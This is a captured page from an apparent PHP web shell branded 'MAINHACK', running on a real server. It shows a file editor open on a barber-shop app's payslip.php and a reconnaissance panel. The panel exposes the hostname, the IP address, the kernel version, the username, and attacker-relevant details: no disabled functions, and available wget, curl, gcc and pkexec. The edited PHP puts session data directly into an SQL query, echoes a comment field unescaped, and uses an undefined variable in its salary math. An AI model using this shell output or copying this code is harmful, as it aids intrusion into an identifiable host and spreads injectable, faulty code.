[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: payslip.php
<?php include("../admin/includes/functions/functions.php");?> <?php include("../admin/db/db.php");?> <?php if(!isset($_SESSION['username_Xw211qAAsq4'])) { header('Location: ../auth/'); exit(); } else{ $pageTitle1 = 'Payslip'; $shopname = $_SESSION['business_name_Xw211qAAsq4']; $currency = mysqli_query($new,"SELECT currency from barber_admin WHERE business_name = '$shopname'"); $fechC = mysqli_fetch_array($currency); $qurtyCurrency = $fechC['currency']; if(isset($_GET['payid'])){ $payid = htmlspecialchars($_GET['payid']); $payid = mysqli_real_escape_string($new,$_GET['payid']); $stmt = $con->prepare("SELECT * FROM employees e , payrolls p WHERE e.employee_id = p.emp_id and p.id = ? and e.business_name = ?"); $stmt->execute(array($payid,$shopname)); $rows = $stmt->fetchAll(); foreach($rows as $data){ $name = $data['first_name'].' ,'.$data['last_name']; $salary = $data['salary']; $allowance = $data['allowance']; if(empty($allowance)){ $allowance = 0.00; } else { $allowance = $allowance; } $bonus = $data['bonus']; if(empty($bonus)){ $bonus = 0.00; } else { $bonus = $bonus; } $overtime = $data['overtime']; if(empty($overtime)){ $overtime = 0.00; } else { $overtime = $overtime; } $salary_deduction = $data['salary_deduction']; if(empty($salary_deduction)){ $salary_deduction = 0.00; } else { $salary_deduction = $salary_deduction; } $reimbursement = $data['reimbursement']; if(empty($reimbursement)){ $reimbursement = 0.00; } else { $reimbursement = $reimbursement; } $date_paid = $data['date_paid']; $payment_status = $data['payment_status']; $tax_value = $data['tax_amount']; if(empty($tax_value)){ $tax_value = 0.0; } else { $tax_value = $tax_value; } $comment = $data['comment']; $gross = $salary + $allowance + $bonus + $reimbursement + $overtime; $tax_amount = ($tax_value/100) * $gross; $tax_Amt = $gross - $taxgross; $total_deduction1 = $salary_deduction + $tax_amount; $net_salary = $tax_Amt - $total_deduction1; } } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <title> <?php echo $shopname;?> - <?php echo $pageTitle1;?></title> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <link href="plugins/datatables/dataTables.bootstrap4.css" rel="stylesheet" type="text/css" /> <link href="plugins/datatables/responsive.bootstrap4.css" rel="stylesheet" type="text/css" /> <link href="plugins/datatables/buttons.bootstrap4.css" rel="stylesheet" type="text/css" /> <link href="plugins/datatables/select.bootstrap4.css" rel="stylesheet" type="text/css" /> <script src="https://code.jquery.com/jquery-3.6.4.min.js" integrity="sha256-oP6HI9z1XaZNBrJURtCoUT5SUnxFr8s3BzRl+cbzUq8=" crossorigin="anonymous"></script> <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script> <!-- App css --> <link href="assets/css/bootstrap.min.css" rel="stylesheet" type="text/css" /> <link href="assets/css/icons.min.css" rel="stylesheet" type="text/css" /> <link href="assets/css/theme.min.css" rel="stylesheet" type="text/css" /> <link rel="shortcut icon" href="../assets/icon.png" type="image/x-icon"> <link rel="icon" href="../assets/icon.png" type="image/x-icon"> <style> #preloader { position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: 9999; background-color: #fff; } #loader { display: block; position: absolute; top: 50%; left: 50%; border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 70px; height: 70px; animation: spin 2s linear infinite; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } </style> </head> <body> <div id="preloader"> <div id="loader"></div> </div> <!-- Begin page --> <div id="layout-wrapper"> <div class="header-border"></div> <?php include("includes/template/head.php");?> <?php include("includes/template/side.php");?> <div class="main-content"> <div class="page-content"> <div class="container-fluid"> <!-- start page title --> <div class="row"> <div class="col-12"> <div class="page-title-box d-flex align-items-center justify-content-between"> <h4 class="mb-0 font-size-18">All Payslip</h4> <div class="page-title-right"> <ol class="breadcrumb m-0"> <li class="breadcrumb-item"><a href="javascript: void(0);"><?= $shopname;?></a></li> <li class="breadcrumb-item active"><?php echo $pageTitle1;?></li> </ol> </div> </div> </div> </div> <!-- end page title --> <div class="row"> <div class="col-lg-12"> <div class="card"> <div class="card-body"> <div class="row mb-0 p-0"> <div class="col-md-12 p-15 table-responsive box"> <div class="container mt-5 mb-5" id="invoice"> <div class="row"> <div class="col-md-12"> <div class="text-center lh-1 mb-2"> <h3 class="fw-bold">Payslip</h3> <span class="fw-normal">Payment slip date : <?php echo $date_paid; ?> </span> </div> <div class="row"> <div class="col-md-10"> <div class="row"> <div class="col-md-6"> <div> <span class="fw-bolder">Company/shop : </span> <small class="ms-3"><?php echo $shopname; ?></small> </div> <div><span class="fw-bolder">Employee name : <?php echo $name; ?></span></div> <div><span>Status : <?php echo $data['payment_status']; ?></span></div> </div> </div> </div> <div class="table-responsive"> <table class="mt-4 table table-bordered" > <thead class="bg-dark text-white"> <tr> <th scope="col" style="color:#ffffff">Earnings</th> <th scope="col" style="color:#ffffff">Amount</th> <th scope="col" style="color:#ffffff">Deductions</th> <th scope="col" style="color:#ffffff">Amount</th> </tr> </thead> <tbody> <tr> <th scope="row">Basic Salary</th> <td><?php echo number_format($salary,2).' '.$qurtyCurrency; ?></td> <td>Salary Deduction</td> <td><?php echo number_format($salary_deduction,2).' '.$qurtyCurrency;; ?></td> </tr> <tr> <th scope="row">Total Allowance</th> <td><?php echo number_format($allowance,2).' '.$qurtyCurrency;; ?></td> <td>Tax Amount (<?php echo $tax_value;?>%)</td> <td><?php echo number_format($tax_amount,2).' '.$qurtyCurrency;; ?></td> </tr> <tr> <th scope="row">Total Bonuses</th> <td><?php echo number_format($bonus,2).' '.$qurtyCurrency;; ?></td> <td></td> <td></td> </tr> <tr> <th scope="row">Overtime</th> <td><?php echo number_format($overtime,2).' '.$qurtyCurrency;; ?></td> <td></td> <td></td> </tr> <tr> <th scope="row">Reimbursement</th> <td><?php echo number_format($reimbursement,2).' '.$qurtyCurrency;; ?></td> <td></td> <td></td> </tr> <tr> <th scope="row">Gross Salary</th> <td><?php echo number_format($gross,2).' '.$qurtyCurrency; ?></td> <td>Total Deductions</td> <td><?php echo number_format($total_deduction1,2).' '.$qurtyCurrency;; ?></td> </tr> <!-- <tr> <th scope="row">Individual Incentive</th> <td>2400.00</td> <td colspan="2"></td> </tr> --> </tbody> </table> </div> </div> <div class="row"> <div class="col-md-4"> <br> <span class="fw-bold">Net Salary : <?php echo number_format($net_salary,2).' '.$qurtyCurrency;; ?></span> </div> <br /> <div class="border col-md-8"> <div class="d-flex flex-column"> <span><?php echo $comment; ?></span> </div> </div> </div> </div> </div> <br /><br /> <!-- <center> <button id="download" class="btn btn-success" type="button"><i class="fa fa-print" style="color: #000000;"> </i> Print payslip</button></center> --> </div> </div> </div> </div> </div> <!--end card body--> </div> <!-- end card--> </div> <!-- end col --> </div> <!--end row--> </div> <!-- container-fluid --> </div> <!-- End Page-content --> <?php include("includes/template/newfooter.php");?> </div> <!-- end main content--> </div> <!-- END layout-wrapper --> <?php include("includes/modals/EmploymentModal.php");?> <!-- Overlay--> <div class="menu-overlay"></div> <script src="assets/js/jquery.min.js"></script> <script src="assets/js/bootstrap.bundle.min.js"></script> <script src="assets/js/metismenu.min.js"></script> <script src="assets/js/waves.js"></script> <script src="assets/js/simplebar.min.js"></script> <script src="plugins/raphael/raphael.min.js"></script> <script src="assets/pages/dashboard-demo.js"></script> <script src="assets/js/theme.js"></script> <script src="plugins/datatables/jquery.dataTables.min.js"></script> <script src="plugins/datatables/dataTables.bootstrap4.js"></script> <script src="plugins/datatables/dataTables.responsive.min.js"></script> <script src="plugins/datatables/responsive.bootstrap4.min.js"></script> <script src="plugins/datatables/dataTables.buttons.min.js"></script> <script src="plugins/datatables/buttons.bootstrap4.min.js"></script> <script src="plugins/datatables/dataTables.keyTable.min.js"></script> <script src="plugins/datatables/dataTables.select.min.js"></script> <script src="assets/pages/datatables-demo.js"></script> <script type="text/javascript"> document.onreadystatechange = function() { if (document.readyState !== "complete") { document.querySelector("#preloader").style.display = "block"; } else { document.querySelector("#preloader").style.display = "none"; } }; </script> <!-- jQuery --> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002